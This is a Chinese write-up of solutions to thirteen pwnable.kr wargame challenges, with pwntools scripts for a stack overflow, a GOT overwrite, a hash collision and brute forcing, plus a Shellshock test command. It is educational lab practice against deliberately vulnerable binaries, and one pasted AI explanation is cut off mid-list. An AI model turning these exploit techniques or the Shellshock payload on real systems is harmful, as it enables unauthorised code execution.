pwnable.kr做题笔记(一)

目录

第一题-fd

第二题-col

第三题-bof

第四题-flag

第五题-passcode

第六题-random

第七题-input2

第八题-leg

第九题-mistake

第十题-shellshock

第十一题-coin1

第十二题-blackjack

[ 第十三题-lotto](# 第十三题-lotto)


第一题-fd
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

点击并拖拽以移动

很简单的题目,根据源码可以知道fd=0,就可以输入buf的值。然后再输入LETMEWIN\n便可以getflag。

83648d3fd6384fb88615354345143865.png

后面加的4660也就是0x1234。直接传入参数就完事了。

第二题-col

查看源码

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

点击并拖拽以移动

可以看到关键就在于

cb2da2235ddf4e5a9177f98485d6b1ef.png

简单分析一下check_password函数就可以知道,其实就是那五个数想加等于0x21DD09EC。

2ef31af7e9b64a0d88f7127e84cb3265.png

但需要考虑,值不能超过20个字符啥的。也很简单,给他除以5除不尽。剩下的分一下就行。

def exp(): 
    pl = p32(0x6c5cec8) * 4 + p32(0x6c5cecc)
    p = io.process(executable='./col', argv=['col',pl])
    flag = p.recv()

    log.info(f"FLag={flag}")
    p.close()
    io.close()
exp()


io.interactive()

点击并拖拽以移动

359e2df755334f9bbaddb212cdd6c455.png

第三题-bof

这题才算(个人认为)pwn题吧。

1beb011fd8b641138ae60567f683d1b8.png

下载附件,查看很简单。一看就是栈溢出。

2f314d69943d44d9a1f5e804c460f358.png

动态调试一下,offset是多少吧。

可以看到第一个参数的位置是在这里的,0xffffcfc0

9a1273b66e7d494896a8b9682650743b.png

可以看到overflowme是从0xffffcf8c开始的。所以可以得到offset=0x34

ea556c8726294a509627aa908398b94d.png

def exp(): 
    pl = cyclic(0x34) + p32(0xcafebabe)
    sl(pl)
    
exp()

io.interactive()

点击并拖拽以移动

getshell

5d25c24e045f4a06b4c8fe1ada29544d.png

第四题-flag

他自己都说是逆向题。

bf7aacc5ccf940e6a71dd8f7638faa0b.png

直接查壳,发现是upx。直接脱壳

8ffaf447d6db43619c0ac134338cd6b1.png

再放进ida里面查看字符表,直接找到flag

11a5595bab7d4cfea915b0b3604880ea.png

第五题-passcode

直接放进ida里面,发现漏洞。这个两个应该使用的是地址而不是变量,类似于fmt。所以想着覆盖吧。前面输入了一次name,可以溢出

293990855fe749eca3462bb172e66b08.png

aec6d96651944a22a4232176709a3148.png

通过动态调试可以看到

f697be6f80284d2d852d4985c084f3d9.png

f8f8b0dc992e417fa6d2f43bbb0314f8.png

发现name和v1的offset=0x60。检查保护,可以改got表

5fb7020aa5ea4521ac5e921877bba7a3.png

接下来就是正常的直接把printfgot表改掉就行了。

d4212d26f99241318e370d9f980a68c0.png

def exp(): 
    pl = b'a'*96+ p32(0x804A000)
    sl(pl)

    hack = str(0x80485e3)
    sl(hack)
    flag = io.recvall()
    log.info(f"flag={flag}")

    io.close()
    s.close()
    # io.close()
exp()


io.interactive()

点击并拖拽以移动

第六题-random

随机数,这个没给种子,但默认是0或者1,直接gdb调试看看第一次值是多少就好啦

9441dcb76a9c4ad5998193956e9c38c0.png

3fa4e5e27aba46c387451f6d5b5f1b1f.png

def exp(): 
    
    v5 = 0x6b8b4567
    v4 = v5^(0xDEADBEEF)
    sl(str(v4).encode())

    flag = io.recvall()
    log.info(f"flag+{flag}")
    io.close()
    s.close()
    # io.close()
exp()


io.interactive()

点击并拖拽以移动

第七题-input2

这题感觉就是过滤+网络编程,只能说有点难度,网上很多解释我这里不多说

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
  printf("Welcome to pwnable.kr\n");
  printf("Let's see if you know how to give input to program\n");
  printf("Just give me correct inputs then you will get the flag :)\n");

  // argv
  if(argc != 100) return 0;
  if(strcmp(argv['A'],"\x00")) return 0;
  if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
  printf("Stage 1 clear!\n");	

  // stdio
  char buf[4];
  read(0, buf, 4);
  if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
  read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
  printf("Stage 2 clear!\n");
  
  // env
  if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
  printf("Stage 3 clear!\n");

  // file
  FILE* fp = fopen("\x0a", "r");
  if(!fp) return 0;
  if( fread(buf, 4, 1, fp)!=1 ) return 0;
  if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
  fclose(fp);
  printf("Stage 4 clear!\n");	

  // network
  int sd, cd;
  struct sockaddr_in saddr, caddr;
  sd = socket(AF_INET, SOCK_STREAM, 0);
  if(sd == -1){
    printf("socket error, tell admin\n");
    return 0;
  }
  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = INADDR_ANY;
  saddr.sin_port = htons( atoi(argv['C']) );
  if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
    printf("bind error, use another port\n");
    		return 1;
  }
  listen(sd, 1);
  int c = sizeof(struct sockaddr_in);
  cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
  if(cd < 0){
    printf("accept error, tell admin\n");
    return 0;
  }
  if( recv(cd, buf, 4, 0) != 4 ) return 0;
  if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
  printf("Stage 5 clear!\n");

  // here's your flag
  system("/bin/cat flag");	
  return 0;
}

点击并拖拽以移动

就一步步慢慢过就行,但是我当时遇到个问题,就是他本地不可以创建文件,就很烦。然后看了看网上的文章说可以上传到/tmp目录,但是呢!!!没找到人怎么上传,所以我在这里声明一下,省去读者查找,前面是本地需要上传的文件,后面是上传到服务器的路径。(shell我自己创建的目录)

d6d1ccde997745838b92ee2b64382feb.png

最后gcc编译一下,再软链接一下就好了。打过pwn.college的人应该知道。

ln -s /home/input2/flag flag

点击并拖拽以移动

最后得到flag!

c81b16adb98b41f1adaa1811b8c09d2e.png

第八题-leg

这题是个异架构汇编题,但考的很简单

#include <stdio.h>
#include <fcntl.h>
int key1(){
  asm("mov r3, pc\n");
}
int key2(){
  asm(
  "push	{r6}\n"
  "add	r6, pc, $1\n"
  "bx	r6\n"
  ".code   16\n"
  "mov	r3, pc\n"
  "add	r3, $0x4\n"
  "push	{r3}\n"
  "pop	{pc}\n"
  ".code	32\n"
  "pop	{r6}\n"
  );
}
int key3(){
  asm("mov r3, lr\n");
}
int main(){
  int key=0;
  printf("Daddy has very strong arm! : ");
  scanf("%d", &key);
  if( (key1()+key2()+key3()) == key ){
    printf("Congratz!\n");
    int fd = open("flag", O_RDONLY);
    char buf[100];
    int r = read(fd, buf, 100);
    write(0, buf, r);
  }
  else{
    printf("I have strong leg :P\n");
  }
  return 0;
}

点击并拖拽以移动

从源码中可以看出来就是算出来那三个key就完事了。

有一个leg.asm文件,这里直接放到文本编辑器打开就可以了。寄存器都是r开头多,就是arm架构下的

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb) 

点击并拖拽以移动

对照哪个源码分析。

直接让gpt分析什么意思吧,本人是个菜鸡所以汇编不太熟

当然,以下是对每个函数的详细分析,包括每一条汇编指令的作用。

### 函数 main

```assembly
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; instruction: 0x0006a4b0
0x00008dcc <+144>: ; instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
```

\1. push {r4, r11, lr}
- 将 r4, r11, 和 lr 寄存器的值压入栈中,用于保存函数调用前的状态。

\2. add r11, sp, #8
- 设置 r11 为当前栈指针加上 8。这通常是为了创建一个新的帧指针(frame pointer)。

\3. sub sp, sp, #12
- 为局部变量分配空间,栈指针 sp 向下移动 12 字节。

\4. mov r3, #0
- 将 0 赋值给寄存器 r3

\5. str r3, [r11, #-16]
- 将 r3 的值(0)存储到 r11 指向的位置的偏移量 -16 处。

\6. ldr r0, [pc, #104]
- 从程序计数器 pc 加 104 字节的地址处加载值到 r0。这通常是用于访问代码中的常量或数据。

\7. bl 0xfb6c <printf>
- 调用 printf 函数,bl 指令用于分支并链接,保存返回地址到链接寄存器 lr

\8. sub r3, r11, #16
- 计算 r11 减去 16,结果存入 r3

\9. ldr r0, [pc, #96]
- 从程序计数器 pc 加 96 字节的地址处加载值到 r0

\10. mov r1, r3
- 将 r3 的值复制到 r1

\11. bl 0xfbd8 <__isoc99_scanf>
- 调用 scanf 函数,r0r1 作为参数传递。

\12. bl 0x8cd4 <key1>
- 调用 key1 函数。

\13. mov r4, r0
- 将 key1 函数返回值存储到 r4

\14. bl 0x8cf0 <key2>
- 调用 key2 函数。

\15. mov r3, r0
- 将 key2 函数返回值存储到 r3

\16. add r4, r4, r3
- 将 r4r3 的值相加,结果存回 r4

\17. bl 0x8d20 <key3>
- 调用 key3 函数。

\18. mov r3, r0
- 将 key3 函数返回值存储到 r3

\19. add r2, r4, r3
- 将 r4r3 的值相加,结果存回 r2

\20. ldr r3, [r11, #-16]
- 从 r11 指向的位置的偏移量 -16 处加载值到 r3

\21. cmp r2, r3
- 比较 r2r3 的值。

\22. bne 0x8da8 <main+108>
- 如果 r2r3 不相等,跳转到 0x8da8 地址处。

\23. ldr r0, [pc, #44]
- 从程序计数器 pc 加 44 字节的地址处加载值到 r0

\24. bl 0x1050c <puts>
- 调用 puts 函数。

\25. ldr r0, [pc, #40]
- 从程序计数器 pc 加 40 字节的地址处加载值到 r0

\26. bl 0xf89c <system>
- 调用 system 函数。

\27. b 0x8db0 <main+116>
- 无条件跳转到 0x8db0 地址处。

\28. ldr r0, [pc, #32]
- 从程序计数器 pc 加 32 字节的地址处加载值到 r0

\29. bl 0x1050c <puts>
- 再次调用 puts 函数。

\30. mov r3, #0
- 将 0 赋值给 r3

\31. mov r0, r3
- 将 r3 的值复制到 r0

\32. **`sub sp, r11

但其实看不看得懂都不影响做题,只要知道那种函数再arm下返回值都是r0寄存器存储的,

key1,0x8cdc+8=0x8CE4

b604b79856a84838876c023b99442bb2.png

key2,0x00008d04 + 8 + 4 = 0x00008d0c

ed42bb558eba4c99b163c4818e430cc6.png

key3,其中lr是返回地址,所以就是0x8d80

5193ddb4cf474f2980f87282be76edbf.png

c26f932a5ed14a7381f28e78ff493a74.png

最后将他们三个数相加得到key=108400

632ae9a665b14996b0c1c5ce0d3a249f.png

第九题-mistake

有后门,直接看xor函数吧。

7dba3eee7773404c8f6467cd945de513.png

就是与1异或,直接输入十个1然后异或结果就是十个0。

0f422b1314694682963b394eb1e3497d.png

getshell

99e2cd6c0a394425bd699aa898315563.png

77d76a63685c4fadae168b7402519ab2.png

第十题-shellshock

看一下源码就知道该怎么写了,其实。可以看到直接调用bash了。

直接使用

env x='() { :;}; echo TEST' ./bash -c :

点击并拖拽以移动

证明它存在。

ae6e06fa3d844292b58b04b8ca1473da.png

第十一题-coin1

这题,全英文用gpt帮我理解一下

要解决这个问题,你需要在有限的称量次数内找到那枚伪造的硬币。这个问题考验的是你的逻辑推理能力和优化称量策略的能力。通常情况下,使用**二分法**(或分组策略)是解决这种称量问题的最佳方法之一。

### 解决步骤:

1. **初始条件**:你有 `N` 枚硬币,并且有 `C` 次称量机会。

2. **分组称量**:
   - 每次称量时,你将硬币分成两组来称量(或者更多组,如果 N 很大)。
   - 通过比较每组的总重量,你可以确定哪一组可能包含假币。

3. **减少搜索范围**:
   - 每次称量后,你可以缩小可能包含假币的硬币数量。
   - 继续将包含假币的那一组再分组称量,直到找出假币。

### 例子演示:

假设有 `8` 枚硬币,且你有 `3` 次称量机会 (`N=8, C=3`)。

**第一次称量**:
- 把硬币分成两组,分别是 `0-3``4-7`。
- 选择 `0, 1, 2, 3` 四枚硬币称量,记下它们的总重量。
  - 如果总重量为 `40`(每枚硬币都是真币),那么假币在 `4-7` 中。
  - 如果总重量为 `39`,那么假币在 `0-3` 中。

**第二次称量**:
- 假设第一轮后怀疑假币在 `4-7` 中,再将 `4-7` 分成两组,`4, 5``6, 7`。
- 选择 `4, 5` 称量。
  - 如果总重量为 `20`,那么假币在 `6, 7` 中。
  - 如果总重量为 `19`,那么假币在 `4, 5` 中。

**第三次称量**:
- 选择最后一组中的单个硬币进行称量即可确认假币是哪一个。

### 通用策略:

- 每次称量后都将剩下的硬币数量减半,以最大化信息获取。
- 这个过程会随着硬币数量的减少而逐步缩小搜索范围,直到找到伪造的硬币。

### 数学分析:

在最坏情况下,解决该问题所需的最大称量次数 `C` 满足以下条件:

\[
2^C \geq N
\]

这意味着 `C` 次称量可以处理最多 `2^C` 枚硬币。

### 总结:

通过将硬币分组称量,你可以在有限的称量次数内逐步缩小假币所在的范围,最终确定那枚伪造的硬币。这是一种典型的分而治之的策略。

点击并拖拽以移动

直接随便开一个机子,然后在/tmp里面创建一个py脚本打本地就行。

# python(2) solve.py

from pwn import *
import re

p = remote('localhost', 9007)
print(p.recv())

for i in range(100):
  N, C = re.findall("N=(\d+) C=(\d+)", p.recv())[0]
  N = int(N)
  C = int(C)
  print(N, C)

  start, end = 0, N-1

  while start <= end and C > 0:
    mid = (start + end) // 2
    x = " ".join([str(j) for j in range(start, mid+1)])	# build range list
    p.sendline(x)
    
    res = int(p.recvline()[:-1])
    if res % 10 == 0:
      start = mid+1	# through first half
    else:
      end = mid-1		# through second half
    C -= 1

  while C > 0:	# use all the tries
    p.sendline("0")
    p.recv(1024)
    C -= 1

  p.sendline(str(start))	# final answer
  print(p.recv())

print(p.recv())

点击并拖拽以移动

第十二题-blackjack

这题好像是让我赚钱,没看懂随便写点数,就给他打通了。

$ nc pwnable.kr 9009

    222         111
   222 222       11111
   222  222      11 111
     222        111
     222        111

CCCCC SS DD HHHHH C C
C C SS D D H H C C
C C SS D D H C C
CCCCC SS D DD D H C C
C C SS D DDDD D H CC C
C C SS D D H C C
C C SS D D H H C C
CCCCCC SSSSSSS D D HHHHH C C

​ 21
​ DDDDDDDD HH CCCCC S S
​ DD H H C C S S
​ DD H H C S S
​ DD H HH H C S S
​ DD H HHHH H C SS S
​ DD H H C S S
​ D DD H H C S S C
​ DDD H H CCCCC S S

​ 222 111
​ 222 111
​ 222 111
​ 222222222222222 111111111111111
​ 2222222222222222 11111111111111111

      Are You Ready?
     \----------------
        (Y/N)
         y

Enter 1 to Begin the Greatest Game Ever Played.
Enter 2 to See a Complete Listing of Rules.
Enter 3 to Exit Game. (Not Recommended)
Choice: 1

Cash: $500
-——
|S |
| 6 |
| S|
-——

Your Total is 6

The Dealer Has a Total of 8

Enter Bet: $111111111111

Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
s

You Have Chosen to Stay at 6. Wise Decision!

The Dealer Has a Total of 11
The Dealer Has a Total of 14
The Dealer Has a Total of 17
Dealer Has the Better Hand. You Lose.

You have 0 Wins and 1 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
YaY_I_AM_A_MILLIONARE_LOL

Cash: $558039085
-——
|H |
| K |
| H|
-——

Your Total is 10

The Dealer Has a Total of 5

Enter Bet: $

应该是有溢出点,然后估计就是机组的知识了。

a6f877bc85a64a42a40a656cbee3b228.png

第十三题-lotto

可以看到外层只要一次被命中,里层就执行6次正好满足条件了。他输的ascii要是1-45.

4d56948487234ccc9d72f3d69e0244a2.png

随便找一个吧

4c7650075f854b9ebd3030798ca4bded.png

exp,如果本地打的很慢,可以上传到服务器上打。

from pwn import *
context.log_level = "debug"

sh = ssh('lotto', 'pwnable.kr', password='guest', port=2222)
io = sh.process(executable='./lotto')

for i in range(10000):
  io.recv()
  io.sendline('1'.encode())
  io.recv()
  io.sendline('!!!!!!'.encode())
  _ , ans = io.recvlines(2)
  
  if "bad" not in ans.decode():
    log.success(ans.decode())
    break

点击并拖拽以移动

最后得到flag

cf9a102c4dae44c39cb0f5e21fd0ff07.png